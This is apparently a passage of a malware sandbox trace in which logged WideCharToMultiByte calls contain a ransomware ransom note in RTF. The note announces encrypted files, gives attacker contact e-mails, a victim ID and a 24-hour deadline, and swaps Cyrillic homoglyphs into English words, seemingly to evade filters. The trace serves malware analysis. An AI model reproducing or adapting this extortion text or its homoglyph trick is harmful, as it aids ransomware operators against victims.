T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 